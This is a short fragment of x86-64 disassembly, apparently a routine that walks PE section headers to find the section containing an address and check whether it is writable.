je 0x140046bc4
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140046bbe
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140046bc6
add rdx, 0x28
jmp 0x140046ba3
xor edx, edx
test rdx, rdx
jne 0x140046bcf
xor al, al
jmp 0x140046be3
cmp dword [rdx + 0x24], 0
jge 0x140046bd9
xor al, al
jmp 0x140046be3
mov al, 1
jmp 0x140046be3
xor al, al
jmp 0x140046be3
add rsp, 0x18
ret